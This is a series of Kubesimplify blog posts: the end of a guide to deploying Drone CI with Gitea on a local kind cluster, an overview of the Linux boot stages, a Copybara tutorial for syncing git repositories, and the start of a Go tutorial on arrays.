kubectl get pods,svc -lapp.kubernetes.io/instance=gitea

```

```shell
NAME                                  READY   STATUS    RESTARTS   AGE
pod/gitea-0                           1/1     Running   0          4m32s
pod/gitea-memcached-b87476455-4kqvp   1/1     Running   0          4m32s
pod/gitea-postgresql-0                1/1     Running   0          4m32s

NAME                                TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)          AGE
service/gitea-http                  NodePort    10.96.55.25     <none>        3000:30950/TCP   4m32s
service/gitea-memcached             ClusterIP   10.96.176.235   <none>        11211/TCP        4m32s
service/gitea-postgresql            ClusterIP   10.96.59.23     <none>        5432/TCP         4m32s
service/gitea-postgresql-headless   ClusterIP   None            <none>        5432/TCP         4m32s
service/gitea-ssh                   ClusterIP   None            <none>        22/TCP           4m32s
```

## Environment Variables

As a convenience let us set few environment variables which will be used by the commands in upcoming sections of the blog.

### Gitea

```shell
# Gitea domain
export GITEA_DOMAIN="gitea-127.0.0.1.sslip.io"
# Gitea URL
export GITEA_URL="http://${GITEA_DOMAIN}:3000"
```

You can access Gitea in your browser like open `${GITEA_URL}`. Default credentials `demo/demo@123`.

![Gitea Home](/img/blog/yours-kindly-drone/hH6gMkXZs.png align="left")

### Drone

```shell
# the drone server host
export DRONE_SERVER_HOST="drone-127.0.0.1.sslip.io:8080"
# the drone server web console
export DRONE_SERVER_URL="http://${DRONE_SERVER_HOST}"
```

## Drone Gitea oAuth Application

Drone will use Gitea for pulling/pushing the source code and to add [webhooks](https://docs.gitea.io/en-us/webhooks/) to trigger builds on source change. To do these actions it requires an [oAuth](https://en.wikipedia.org/wiki/OAuth) application to be configured on Gitea.  

The demo sources has little utility called `gitea-config` that helps in creating the oAuth application in Gitea and clone and create the [quickstart](https://github.com/kameshsampath/drone-k8s-quickstart) repository as **drone-quickstart** on Gitea. We will use  *drone-quickstart** repository to validate our setup.

```shell
$PROJECT_HOME/bin/gitea-config-darwin-arm64 \
  -g "${GITEA_URL}" -dh "${DRONE_SERVER_URL}"
```

> **NOTE**:  Use gitea-config binary corresponding to your os and architecture. In the command above we used macOS arm64 binary

![Drone Quickstart Repository](/img/blog/yours-kindly-drone/ftAF2w1Fc.png align="left")

![Drone Gitea oAuth2 Application](/img/blog/yours-kindly-drone/tQ5s7jwus.png align="left")

![Drone Gitea oAuth2 Application Details](/img/blog/yours-kindly-drone/r4OTjkDFF.png align="left")

The `gitea-config` utility creates a `.env` file under `$PROJECT_HOME/k8s`  which has few Drone environment variables that will be used while deploying Drone server in upcoming steps,

- `DRONE_GITEA_CLIENT_ID`:  The Gitea oAuth Client ID
- `DRONE_GITEA_CLIENT_SECRET`: The Gitea oAuth Client Secret
- `DRONE_RPC_SECRET`: The unique secret to identify the server and runner, a simple generation like `openssl rand -hex 16`

## Deploy Drone

For our demo the Drone server will be deployed on to a namespace called `drone`,

```shell
kubectl create ns drone
```

Add **drone** helm repo,

```shell
helm repo add drone https://charts.drone.io
helm repo update
```

The following content will be used as helm values [file](https://github.com/kameshsampath/drone-on-k8s/blob/main/helm_vars/drone/values.yaml) to deploy Drone server,

```yaml
service:
  # the Drone Kubernetes service type
  type: NodePort
  port: 8080
  # this port will be used in KinD extra port mappings to allow accessing the 
  # drone server from our laptops
  nodePort: 30980
  
extraSecretNamesForEnvFrom:
   # all the other as $PROJECT_HOME/k8s/.env variables are loaded via this secret
   # https://docs.drone.io/server/reference/
  - drone-demos-secret

env:
  # the Drone server host typically what the drone runners will use to 
  # communicate with the server
  DRONE_SERVER_HOST: drone-127.0.0.1.sslip.io:8080
  # Since we run Gitea in http mode we will skip TLS verification
  DRONE_GITEA_SKIP_VERIFY: true
  # The url where Gitea could be reached, typically used while 
  # cloning the sources
  # https://docs.drone.io/server/provider/gitea/
  DRONE_GITEA_SERVER: http://gitea-127.0.0.1.sslip.io:3000/
  # For this local setup and demo we wil run Drone in http mode
  DRONE_SERVER_PROTO: http
  
```

Run the following helm command to deploy Drone server,

```shell
helm upgrade --install drone drone/drone \
  --values $PROJECT_HOME/helm_vars/drone/values.yaml \
  --namespace=drone \
  --post-renderer  k8s/kustomize \
  --wait
``` 

A successful Drone deployment should show the following resources in *drone* namespace,

```shell
kubectl get pods,svc,secrets -n drone
```

```shell
NAME                         READY   STATUS    RESTARTS   AGE
pod/drone-5bb66b9d97-hbpl5   1/1     Running   0          9s

NAME            TYPE       CLUSTER-IP      EXTERNAL-IP   PORT(S)          AGE
service/drone   NodePort   10.96.184.123   <none>        8080:30980/TCP   9s

NAME                                 TYPE                 DATA   AGE
secret/drone-demos-secret            Opaque               3      9s
```

### Host Aliases

As you have noticed we use [Magic DNS](https://sslip.io/) for Gitea and Drone. This will cause name resolution issues inside the Drone and Gitea pods, because the url *gitea-127.0.0.1.sslip.io* resolves to *127.0.0.1* on the Drone server pod. But for our setup to work  we need *gitea-127.0.0.1.sslip.io*  to be resolved to the **gitea-http** Kubernetes service on our cluster. 

In order to achieve that we use the Kubernetes [host aliases](https://kubernetes.io/docs/tasks/network/customize-hosts-file-for-pods/) to add extra host entries(`/etc/hosts`) in Drone pods that will resolve *gitea-127.0.0.1.sslip.io* to the *ClusterIP* of the **gitea-http** service.

There are multiple techniques that allows us to add host entires to Kubernetes deployments.  The first one we used in the earlier helm command to deploy Drone server is called [helm post renderer](https://helm.sh/docs/topics/advanced/#usage). The post renderer allowed us to patch the Drone deployment from the helm chart  with the hostAliases for *gitea-127.0.0.1.sslip.io* resolving to **gitea-http's** *ClusterIP* address.

As we did with Drone deployments to resolve the Gitea, we also need to make the Gitea pods resolve the Drone server when trying to send the [webhook](https://docs.gitea.io/en-us/webhooks/) payload to trigger the build.  

This time let us use [kubectl patching](https://kubernetes.io/docs/tasks/manage-kubernetes-objects/update-api-object-kubectl-patch/) technique to update the Gitea statefuleset deployments to resolve `drone-127.0.0.1.sslip.io`  to *drone* service's *ClusterIP* .

The [patch](https://github.com/kameshsampath/drone-on-k8s/blob/main/k8s/patch.json) that will be applied to the Gitea statefulset is as shown below.

```json
{
  "spec": {
    "template": {
      "spec": {
        "hostAliases": [
          {
            "ip": "${DRONE_SERVICE_IP}",
            "hostnames": ["drone-127.0.0.1.sslip.io"]
          }
        ]
      }
    }
  }
}
```

Run the following command to patch and update the gitea statefulset deployment,

```shell
export DRONE_SERVICE_IP="$(kubectl get svc -n drone drone -ojsonpath='{.spec.clusterIP}')"
kubectl patch statefulset gitea -n default --patch "$(envsubst<$PROJECT_HOME/k8s/patch.json)" 
```

> **TIP**:  To replace the environment variables in the patch we use [envsubst](https://www.man7.org/linux/man-pages/man1/envsubst.1.html)

Wait for the Gitea pods to be updated and restarted,

```shell
kubectl rollout status statefulset gitea --timeout 30s
```

You can check the updates to the  gitea pod's `/etc/hosts` file by running the command,

```shell
kubectl exec -it gitea-0 -n default cat /etc/hosts
```

It should have a entry like,

```shell
# Entries added by HostAliases.
10.96.184.123   drone-127.0.0.1.sslip.io
```

Where *10.96.184.123* is the **drone** service *ClusterIP* on my setup, run the following command to verify it,

```shell
kubectl get svc -n drone drone
```

```shell
NAME    TYPE       CLUSTER-IP      EXTERNAL-IP   PORT(S)          AGE
drone   NodePort   10.96.184.123   <none>        8080:30980/TCP   6m14s
```

You can do similar checks with Drone pods and ensure that Drone pods `/etc/hosts` has entry for *gitea-127.0.0.1.sslip.io* mapping to **gitea-http** *ClusterIP*.

What we did so far,

- Deployed a customized Kubernetes cluster using kind
- Deployed Gitea on to our Kubernetes cluster
- Deployed Drone Server on to our Kubernetes Cluster
- Created an oAuth application on Gitea to authorize Drone server
- Create a repository on Gitea that will be used to test our step

## Deploy Drone Kubernetes Runner

To run the Drone pipelines on Kubernetes we need deploy the [Drone Kubernetes Runner](https://docs.drone.io/runner/kubernetes/overview/).  

Deploy the `drone-runner-kube` with following [values](https://github.com/kameshsampath/drone-on-k8s/blob/main/helm_vars/drone-runner-kube/values.yaml),

```yaml
extraSecretNamesForEnvFrom:
   # all the other as env variables are loaded via this secret
  - drone-demos-secret
env:
  # the url to reach the Drone server
  # we point it to the local drone Kubernetes service drone on port 8080
  DRONE_RPC_HOST: "drone:8080"
```

Run the helm install to deploy the `drone-runner-kube`,

```shell
helm upgrade --install drone-runner-kube drone/drone-runner-kube \
  --namespace=drone \
  --values $PROJECT_HOME/helm_vars/drone-runner-kube/values.yaml  \
  --wait
```

Querying the Kubernetes resources on *drone* namespace should now return the `drone-runner-kube` pod and service,

```shell
kubectl get pods,svc -n drone -lapp.kubernetes.io/name=drone-runner-kube
```

```shell
NAME                                     READY   STATUS    RESTARTS   AGE
pod/drone-runner-kube-59f98956b4-mbr9c   1/1     Running   0          41s

NAME                        TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)    AGE
service/drone-runner-kube   ClusterIP   10.96.196.54   <none>        3000/TCP   41s
```

Open the Drone server web console in your browser using the URL `${DRONE_SERVER_URL}` follow the on screen instructions to complete the registration and activation of our `drone-quickstart` repository.

![Drone Registration](/img/blog/yours-kindly-drone/4HOq0TrB2.gif align="left")

## Lets run our first pipeline

Let us clone the quickstart repository to the folder of our choice on our local machine,

```shell
git clone http://gitea-127.0.0.1.sslip.io:3000/demo/drone-quickstart
```

**NOTE**:  The default git credentials to push is `demo/demo@123`

Open the `drone-quickstart` project with your favorite editor, try to make some changes for e.g add some dummy text README to trigger a build.  Your build will fail as shown below,

![Drone Failed Build](/img/blog/yours-kindly-drone/2iv3XBeh4.gif align="left")

Don't worry, that's what we are going to fix now. We need to do the same thing of adding  **hostAliases** to our drone pipeline pods as well update the ` .drone.yml` with  **ClusterIP** of **gitea-http** and *hostnames* with entry for *gitea-127.0.0.1.sslip.io* so that our Drone pipeline pods are able to clone the sources from our Gitea repository.

The following snippet shows the updated `.drone.yml` with entries for host aliases,

> **NOTE**:  Your *ClusterIP* of **gitea-http* may vary, to get the *ClusterIP* of the **gitea-http** service run the command `kubectl get svc gitea-http -ojsonpath='{.spec.clusterIP}'`

```yaml
---
kind: pipeline
type: kubernetes
name: default

steps:
- name: say hello
  image: busybox
  commands:
  - echo hello world
- name: good bye hello
  image: busybox
  commands:
  - echo good bye

# updates to match your local setup
host_aliases:
  # kubectl get svc gitea-http -ojsonpath='{.spec.clusterIP}'
  - ip: 10.96.240.234
    hostnames:
      - "gitea-127.0.0.1.sslip.io"
  
trigger:
  branch:
  - main
```

Commit and push the code to trigger a new Drone pipeline build, and you will see it being successful.

![Drone Successful Build](/img/blog/yours-kindly-drone/TBBPrmhBD.gif align="left")

## Cleanup

When you are done with experimenting, you can clean up the setup by running the following command

```shell
kind delete cluster --name=drone-demo
```

## Summary

We now have a fully functional CI with Drone on Kubernetes. You no longer need to build your Cloud (Kubernetes) Native applications, but can Continuously Integrate with much ease and power.

Just summarize what we did in this blog,

- Deployed a customized Kubernetes cluster using kind
- Deployed Gitea on to our Kubernetes cluster
- Deployed Drone Server on to our Kubernetes Cluster
- Created an oAuth application on Gitea to authorize drone
- Created a repository on Gitea that will be used to test our step
- Deployed Drone Kubernetes runner to run pipelines on Kubernetes Cluster
- Built our Quick start application using Drone pipelines on Kubernetes
- Leveraged Kubernetes [host aliases](https://kubernetes.io/docs/tasks/network/customize-hosts-file-for-pods/) to  add host entries to our deployments to resolve local URLs

---

# Linux Boot Process Simplified 🐧

- Canonical: https://blog.kubesimplify.com/linux-boot-process-simplified
- Published: 2022-07-04
- Summary: Linux boot process steps

# Introduction
Ever wondered what happens when you press the power button of your Linux machine? 🤔. This blog will give you a better understanding of how things work behind the scenes, in the following steps/stages:

1️⃣ BIOS + UEFI             
2️⃣ Master Boot Loader (MBR)  
3️⃣ Boot Loader  
4️⃣ Kernel  
5️⃣ Initial RAM disk-initramfs image  
6️⃣ /sbin/init (also known as init) [Parent Process]  
7️⃣ Command Shell using Getty  
8️⃣ systemd  
9️⃣ X Windows System

Let's have a better look at'em:

# I. BIOS + UEFI
![bios.png](/img/blog/linux-boot-process-simplified/9qSaoQBre.png align="center")

- BIOS stands for Basic Input/Output System. It is located in a ROM chip on the PC motherboard.  

- This part of the Linux Boot process has more to do with the hardware than Linux itself.  

- As you turn on your computer, the BIOS instantly runs **POST (Power On Self Test)**.
  
- POST is a part of the BIOS which performs plenty of diagnostic tests on the hardware components such as SSD/HDD, RAM, Keyboard, Mouse, USB, etc.  

- Once POST has checked the basic operability of the hardware, the BIOS will now start looking for the Boot Loader, which is usually stored in one of the hard disks.

## UEFI

- UEFI can be considered as a successor of BIOS.  

- An abbreviation for Unified Extensible Firmware Interface, it performs the same function as a BIOS with one major difference: it keeps all data regarding initialization and startup in an.efi file  instead of storing it on the firmware.  

*(Firmware is the programming that's embedded in the nonvolatile memory of a device.)* 
       
- The.efi file, which is stored on a specific disc called EFI System Partition(ESP) which contains all information regarding initialization and starting in UEFI (ESP).  

- Most modern devies are equipped with UEFI, as it provides features like Secure Boot, Quick Boot, etc.  

- There are numerous reasons why UEFI is preferred over BIOS, which is a vast topic in itself, so fun researching!  

 
# II. Master Boot Loader (MBR).

![MBR.png](/img/blog/linux-boot-process-simplified/t3LWdtoLr.png align="center")
- MBR is the initial (main) sector of a hard disc that identifies the location of the operating system (OS) to complete the booting process.

- MBR, depending on your hardware, is located in /dev/hda, or /dev/sda.

- It is a 512-byte image containing code as well as a brief partition table that facilitates in the loading/execution of GRUB (Boot Loader).



# III. Boot Loader
 
![Bootloader.png](/img/blog/linux-boot-process-simplified/t0ftx8rKP.png align="center")

- There are several bootloaders for Linux, the most common of which being GRUB and LILO, with GRUB2 being one of the most recent.

- GRand Unified Boot loader (GRUB) is usually the first thing you'll see when you boot up your computer.

- It consists of a simple menu displaying the options to choose the Kernel in which you want to boot (if you are having multiple kernel images installed) using your keyboard.

- When dual booting your system, GRUB2 lets you select which operating system to boot into.

![LubuntuBios.png](/img/blog/linux-boot-process-simplified/s4-I00M-7.png align="left")


# IV. Kernel

![Kernel.png](/img/blog/linux-boot-process-simplified/dlMW3Qgq2.png align="center")

- The Kernel has complete control over everything in your system, leading it to be known as the core of the OS.

- Kernels are self-extracting and stored in compressed format to conserve space.

- Once the chosen kernel is loaded into the memory and begins execution, it starts extracting itself before performing any useful task.

-  Once loaded by the bootloader, it mounts the root file system and initializes the /sbin/init program, which is commonly referred to as init.

![LinuxKernel.png](/img/blog/linux-boot-process-simplified/FSJwBFIIA.png align="left")


# V. Initial RAM disk-initramfs image

![initramfs.png](/img/blog/linux-boot-process-simplified/Tio4QC-CR.png align="center")

- The initial RAM disk is an initial/temporary root file system that is mounted prior to when the real root file system is available.

- This initramfs image is embedded in the Kernel and contains minimal binary files, modules & programs required for mounting the real root filesystem.


# VI. /sbin/init(a.k.a init) [Parent Process]

![sbininit.png](/img/blog/linux-boot-process-simplified/2a0NTRGzf.png align="center")
- init is amongst the first command to be executed by the Kernel, once it's loaded.

- This program manages the rest of the booting process and sets up the environment for the user.

- Essentially, this phase does everything that your system requires during system initialization: checking file systems, configuring the clock, initializing serial ports, and so on.

- Along with booting up the system, the init command also assists in keeping the system running and shutting it down correctly.


# VII. Command Shell using Getty

![comandshell getty.png](/img/blog/linux-boot-process-simplified/Jy0mooBYY.png align="center")

- Getty is short form for "get tty"(tty - teletype), It's a UNIX program running on the host machine that manages the physical or virtual terminals

- Getty opens TTY lines, sets their modes, prints the login prompt, obtains the user's name, and then starts the login process for the user.

-  Subsequently, users can utilize the system after authenticating themselves.



# VIII. X Windows

![wxbluegreen.png](/img/blog/linux-boot-process-simplified/WDORyn9sb.png align="center")

- X Windows System is an open source, client server system which implements a windowed Graphical User Interface(GUI).

- Also known as X; it provides the basic structure for a GUI environment, including the ability to draw and move windows on the display device, as well as communicate with a mouse and keyboard.


# IX. systemd

![systemd.png](/img/blog/linux-boot-process-simplified/PK5I6pt5m.png align="center")
- This aforementioned sequential startup method is quite conventional and belongs to the **System V** variant of UNIX, following which the controversial replacement of systemv with **systemd** took place.

- On one hand, where **SysVinit**(Traditional init system - System V) followed the sequential process, on the other hand, systemd takes advantage of the parallel processing power of the modern multi processors/core computers.

NOTE: systemd is initialized by the Kernel once its loaded-up, after which systemd starts the required dependencies and takes care of the rest.

- systemd simplifies the startup process and reduces boot time by launching multiple processes simultaneously/ parallelly.


# Diagram
Here's a chronological diagram(**click on it to get a broader view**)

[![diagram.png](/img/blog/linux-boot-process-simplified/-HhDhEvBu.png align="left")](/img/blog/linux-boot-process-simplified/-HhDhEvBu.png)

# Takeaway

The Linux boot process is very adaptable and constantly improving, supporting a wide range of processors and hardware platforms. It is not necessary that everything listed above properly depicts your machine's starting process; some phases can even be skipped with some tweaks.
So, have a look at a few more interesting topics to explore within this area. ⬇️ 

➣ GPT and UEFI (Deep dive into UEFI)  
➣ systemd  
➣ Boot loaders(LILO, LOADLIN)    
➣ Commands and Configuration files.   

### Resources 
➣ Edx Introduction to Linux course.    
➣ Plenty of other blogs.    
➣ [Ubuntu Wiki.](https://wiki.ubuntu.com/)  


**Thanks for stopping by!!**

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedIn.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Moving code between GIT repositories with Copybara

- Canonical: https://blog.kubesimplify.com/moving-code-between-git-repositories-with-copybara
- Published: 2022-06-27

[Copybara](https://github.com/google/copybara) is a tool to move source code between git repositories automatically.

When would you use such a tool?

- When you have an internal repository but want open-source parts of it. 
- When you have multiple repositories and need to propagate code changes to all of them at once.

## Understanding how Copybara keeps GIT repositories in sync

Copybara is a declarative tool where you describe the source and destination repository and any transformation you want to apply to the code.

Let's have a look at a straightforward example.

Suppose you have two repositories: a `monorepo` and a `public-repo`. 

```bash
monorepo/
├─ internal/
│  ├─ do-not-share.js
├─ external/
│  ├─ library.js
├─ README.md

public-repo/
├─ library.js
```

At this point, the `external` folder in the monorepo and the `public-repo` are in sync. 

They have the same files (`library.js`) with the same content.

While the `monorepo` is only available internally, the public repository can receive contributions.

Let's imagine there's a pull request to include a `README.md` file and an improvement to `library.js`.

As soon you merge it, the two repositories are out of sync:

```bash
monorepo/
├─ internal/
│  ├─ do-not-share.js
├─ external/
│  ├─ library.js
├─ README.md

public-repo/
├─ library.js* <-- modified
├─ README.md   <-- added
```

The two repositories are out of sync.

Here's where Copybara comes in.

You can define a mechanism to copy changes from one repository to another.

Let's have a look.

```python
sourceUrl = "ssh://git@github.com/danielepolencic/public-repo.git"
destinationUrl = "ssh://git@github.com/danielepolencic/monorepo.git"

core.workflow(
    name = "default",
    origin = git.origin(
        url = sourceUrl,
        ref = "master",
    ),
    destination = git.destination(
        url = destinationUrl,
        fetch = "master",
        push = "master",
    ),
    destination_files = glob(["external/**"]),
    authoring = authoring.pass_thru("Copybara <copybara@example.com>"),
    transformations = [
        core.move("", "external"),
    ],
)
```

You can save this file as `copy.bara.sky`.

_What's a `.sky` file?!_

Copybara uses Starlark to define how the code should be moved.

Starlark is a subset of Python that is side-effect free (executing the same Starlark twice should produce the same output). 

The file uses a method called `.workflow` to define a transformation.

- [`git.origin`](https://github.com/google/copybara/blob/master/docs/reference.md#gitorigin) contains the details of the source repository. In this case, it is pointing to the external repository.
- [`git.destination`](https://github.com/google/copybara/blob/master/docs/reference.md#gitdestination) contains the details of the repository that will receive the changes. In this case, it's the monorepo.
- `destination_files` is where the files should be stored. In this case, all files from the public-repo should be copied to the `external` folder in the monorepo.
- [`authoring`](https://github.com/google/copybara/blob/master/docs/reference.md#authoringpass_thru) is the default author that made the changes.
- [`transformation](https://github.com/google/copybara/blob/master/docs/reference.md#core) is a list of transformation. In this case, all files are moved to the `external` folder.

You can run the file with:

```bash
$ java -jar bazel-bin/java/com/google/copybara/copybara_deploy.jar copy.bara.sky
INFO: Setting up LogManager
Copybara source mover (Version: Unknown version)
Task: Git Destination: Fetching: ssh://git@github.com/danielepolencic/monorepo.git refs/heads/master
ERROR: Cannot find last imported revision. Use --force if you really want to proceed with the migration use, or use '--last-rev' to override the revision.
```

*It failed!*

Copybara uses the [`GitOrigin-RevId`](https://github.com/google/copybara/blob/master/docs/reference.md#parameters-29:~:text=adds%20labels%20like%20%27-,GitOrigin%2DRevId,-%27%20in%20the%20destination) label on your GIT repository to keep track of the changes that were already migrated.

Since this is the first time you run the tool and there is no label, Copybara fails.

You can force Copybara to start fresh by appending the `--force` flag.

```bash
$ java -jar bazel-bin/java/com/google/copybara/copybara_deploy.jar copy.bara.sky --force
```

As soon as Copybara completes, the new structure of the two repositories is as follows:

```
monorepo/
├─ internal/
│  ├─ do-not-share.js
├─ external/
│  ├─ library.js* <-- updated
│  ├─ README.md   <-- added
├─ README.md

public-repo/
├─ library.js
├─ README.md
```

_Great!_

Now the two repositories are in sync.

_But what if you don't want to commit the changes to master directly and raise a Pull Request instead?_

## Raising a Pull Request on GitHub with Copybara

Copybara can create a different branch with the changes and open a Pull Request on GitHub.

Let's amend the previous example to create a Pull Request on the `monorepo` instead of committing the changes directly to master.

Amend the `copy.bara.sky` file to have this new code:

```python
sourceUrl = "ssh://git@github.com/danielepolencic/public-repo.git"
destinationUrl = "ssh://git@github.com/danielepolencic/monorepo.git"

core.workflow(
    name = "default",
    origin = git.origin(
        url = sourceUrl,
        ref = "master",
    ),
    destination = git.github_pr_destination(
        url = destinationUrl,
        destination_ref = "master",
        pr_branch = "from_public_repo",
        title = "pr from external public repo",
        body = "this is a sample pull request",
        integrates = [],
    ),
    destination_files = glob(["external/**"]),
    authoring = authoring.pass_thru("Copybara <copybara@example.com>"),
    transformations = [
        core.move("", "external"),
    ],
)
```

This time, you replaced the `git.destination` method with [`git.github_pr_destination`.](https://github.com/google/copybara/blob/master/docs/reference.md#gitgithub_pr_destination)

The new method accepts a few more arguments where you can specify the target branch that receives the update (`destination ref`) as well as the title of the PR (`title`) and the name of the branch (`pr_branch`).

Before executing the migration, let's make a tiny change to the public repo; otherwise, Copybara will complain that no change has been detected.

```
monorepo/
├─ internal/
│  ├─ do-not-share.js
├─ external/
│  ├─ library.js
│  ├─ README.md
├─ README.md

public-repo/
├─ library.js
├─ README.md   <-- updated
```

Let's run Copybara with:

```bash
$ java -jar bazel-bin/java/com/google/copybara/copybara_deploy.jar copy.bara.sky
Task: Git Destination: Fetching: ssh://git@github.com/danielepolencic/monorepo.git refs/heads/master
Task: Git Destination: Pushing to ssh://git@github.com/danielepolencic/monorepo.git refs/heads/from_public_repo
INFO: GitHub credentials not found in ~/.git-credentials. Assuming the repository is public.
ERROR: Project not found: GitHub API call failed with code 404 The request was GET repos/danielepolencic/monorepo/pulls?per_page=100&head=danielepolencic:from_public_repo
```

_It failed again!_

Until now, Copybara used the configuration on your computer to connect to GitHub.

In other words, if you set up SSH private keys to connect to your GitHub public or private repositories, [Copybara can use those to create commits, add labels, etc.](https://github.com/google/copybara/blob/master/docs/examples.md#github-ssh-basic-import:~:text=PROTIP%3A%20You%20will%20need%20to%20have%20an%20ssh%20key%20setup%20without%20a%20password%20to%20accomplish%20this%2C%20Copybara%20doesn%27t%20currently%20support%20ssh%20with%20a%20password.)

But when it comes to raising Pull Requests and GitHub-specific features, Copybara has to call the GitHub API to make those work.

By default, it looks for the credentials stored in `~/.git-credentials`.

Since, in this case, there are none, the request fails.

You can find the instructions on [how to add the credentials here. ](https://docs.github.com/en/get-started/getting-started-with-git/caching-your-github-credentials-in-git)

If you rerun the previous command, it should go through, and a Pull Request is created on the monorepo.

## End-to-end workflow for pushing and pulling changes across repositories

Until this point, all the changes to the repository were unidirectional —  we always moved all the changes from the `public-repo` to the `monorepo`.

_But what about pushing changes from the monorepo to the public-repo?_

We could augment our design so that:

- All changes from the `public-repo` are migrated to the `monorepo` as a pull request.
- All changes from the `monorepo` are migrated to the `public-repo` as another pull request.

To do so, we can create multiple workflows in the `copy.bara.sky` file:

```python
sourceUrl = "ssh://git@github.com/danielepolencic/public-repo.git"
destinationUrl = "ssh://git@github.com/danielepolencic/monorepo.git"

core.workflow(
    name = "pull", 								# <- renamed to pull
    origin = git.origin(
        url = sourceUrl,
        ref = "master",
    ),
    destination = git.github_pr_destination(
        url = destinationUrl,
        destination_ref = "master",
        pr_branch = "from_public_repo",
        title = "pr from external public repo",
        body = "this is a sample pull request",
        integrates = [],
    ),
    destination_files = glob(["external/**"]),
    authoring = authoring.pass_thru("Copybara <copybara@example.com>"),
    transformations = [
        core.move("", "external"),
    ],
)

core.workflow(
    name = "push", 								# <- created
    origin = git.origin(
        url = destinationUrl,
        ref = "master",
    ),
    destination = git.github_pr_destination(
        url = sourceUrl,
        destination_ref = "master",
        pr_branch = "from_monorepo",
        title = "pr from monorepo",
        body = "this is a sample pull request",
        integrates = [],
    ),
    origin_files = glob(["external/**"]),  # pay attention!
    authoring = authoring.pass_thru("Copybara <copybara@example.com>"),
    transformations = [
        core.move("external", ""),
    ],
)
```

In this file, we have two workflows:

- A `pull` workflow that is the same as the previous.
- A new  `push` workflow that copies changes from the `monorepo` to the `public-repo`.

It's worth noting that the two workflows are very similar, but there are some noteworthy distinctions:

1. The source and the destination repository URLs are swapped.
2. While in the `pull` workflow, you use `destination_files` to copy all files into a particular folder, in the `push` workflow, you use `origin_files` to export only the changes to files in that folder.
3. The `core.move` method adds a prefix in the `pull` workflow and removes it in the `push`.

With those changes, you can pull and push changes to the two repositories with the following commands:

```bash
$ java -jar bazel-bin/java/com/google/copybara/copybara_deploy.jar copy.bara.sky push
$ java -jar bazel-bin/java/com/google/copybara/copybara_deploy.jar copy.bara.sky pull
```

This combination of workflows is very similar to the familiar `git pull` and `git push` commands, but it works across repositories.

But there's another convenient feature to make the process even more seamless.

## Mirroring changes to Pull Requests with Copybara

You can configure your principal repository (`monorepo` in our example) to mirror Pull Requests on another (external) repository.

[Here's an example of such workflow:](https://github.com/google/copybara/issues/143)

```
  +--------------------+             +--------------------+
  |                    |             |                    |
  |  External Repo     |             |    External PR     +<---+ OSS contributor
  |                    |             |                    |      opens a PR
  |                    |             |                    |
  +--------^-----------+             +--------+-----------+
          |                                  |
    New commits are                  Changes shadowed as an
    pushed via copybara              internal PR via copybara
          |                                  |
  +--------+-----------+             +--------v-----------+
  |                    |             |                    |
  |   Internal Repo    +<------------+  Internal PR       |
  |                    |   CI runs   |                    |
  |                    |   &         +--------------------+
  +--------------------+   Team member reviews and merges
```

The entire process could be automated with a CI/CD pipeline so that you always have the latest changes.

## Summary

If you don't want to use GIT submodules but still need to manage dependent projects in GIT, you should consider giving Copybara a shot.

Copybara is a reliable tool to automate GIT changes between repositories and can be easily integrated with GitHub.

I hope you found this collection of notes on using Copybara useful.

If you like this article, you might like the [threads I publish on Twitter.](https://twitter.com/danielepolencic/status/1298543151901155330)



## Annex: how to install Copybara

Copybara isn't packaged as a single binary; you should build it first.

You should [check out the repository and build the jar](https://github.com/google/copybara/issues/92#issuecomment-506329975) with:

```bash
$ brew install bazelisk
$ git clone https://github.com/google/copybara
$ bazel build java/com/google/copybara:copybara_deploy.jar
```

You might face the following error:

> No matching toolchains found for types @bazel_tools//tools/cpp:toolchain_type. Maybe --incompatible_use_cc_configure_from_rules_cc has been flipped and there is no default C++ toolchain added in the WORKSPACE file? See https://github.com/bazelbuild/bazel/issues/10134 for details and migration instructions.

The issue is the version of Bazel and your M1. I can't find the GitHub issue anymore, but the fix was implemented in `5.0.0` and "lost" in `5.2.0`.

To fix it, you can create a `.bazelversion` file at the project's root and add `5.0.0` as the content.

If you face the following error:

>An error occurred during the fetch of repository 'JCommander':

You should downgrade your repo version to a version before [this commit](https://github.com/google/copybara/commit/20914269ce85b55e5d3fc98a892ed65149a7c233). [You can find more info here.](https://github.com/google/copybara/issues/197)

You can finally run copybara with:

```bash
$ java -jar bazel-bin/java/com/google/copybara/copybara_deploy.jar
Jun 24, 2022 10:46:51 AM com.google.copybara.Main configureLog
INFO: Setting up LogManager
Copybara source mover (Version: Unknown version)
Task: Running migrate
ERROR: Configuration file missing for 'migrate' subcommand.

ERROR: Try 'copybara help'.
```

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedIn.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Let's Simplify Golang : Part 2

- Canonical: https://blog.kubesimplify.com/lets-simplify-golang-part-2
- Published: 2022-06-20

This blog is the second part of the **Let's Simplify Golang** Series. 

In the first part ([Let's Simplify Golang: Part 1](https://kubesimplify.com/lets-simplify-golang-part-1)), we learned about all the basic concepts in Golang. In this blog, we would be learning about Arrays, Slices and Maps.

So, let's start with Arrays now.


---

# Array

- An Array is a collection of **similar data elements**.

For Example - we can have a collection of Integers that represents roll numbers
of students in a class, or a collection of strings that might represent characters of a show.


![arrss.jpg](/img/blog/lets-simplify-golang-part-2/HGlMAt-ZN.jpg align="left")

- Elements in arrays are stored at **contiguous memory locations**.

For example, we can have an array of five elements, and let's say the memory allocation here starts from the memory address 200.
Now, as you might have noticed that the next memory address is 204 because an integer takes **four bytes**, and hence the next address could be stored after four bytes. So, You might notice that all the integers over here are stored one after the other.


![a222.jpg](/img/blog/lets-simplify-golang-part-2/2_fdog5xh.jpg align="left")

In addition to this, arrays are also known as homogenous data types, since we can store elements of a single data type in one array and not different data types in one single array.

---

## Why do we need arrays?

In programming, most of the time, we need to store a large amount of data of a similar type.

For example, let's say we want to store marks secured by a student in three subjects. So, Instead of creating three different individual variables to store these values, we can simply create an array called *grades*, and we can store these marks together.

![a212121.jpg](/img/blog/lets-simplify-golang-part-2/WYLEQdvhv.jpg align="left")


![a232323.jpg](/img/blog/lets-simplify-golang-part-2/Pw89WMbGU.jpg align="left")

- Arrays in Golang are of fixed length i.e, once they are declared and the size is mentioned, we cannot change the length 
- The elements in the array should be of the same data type.
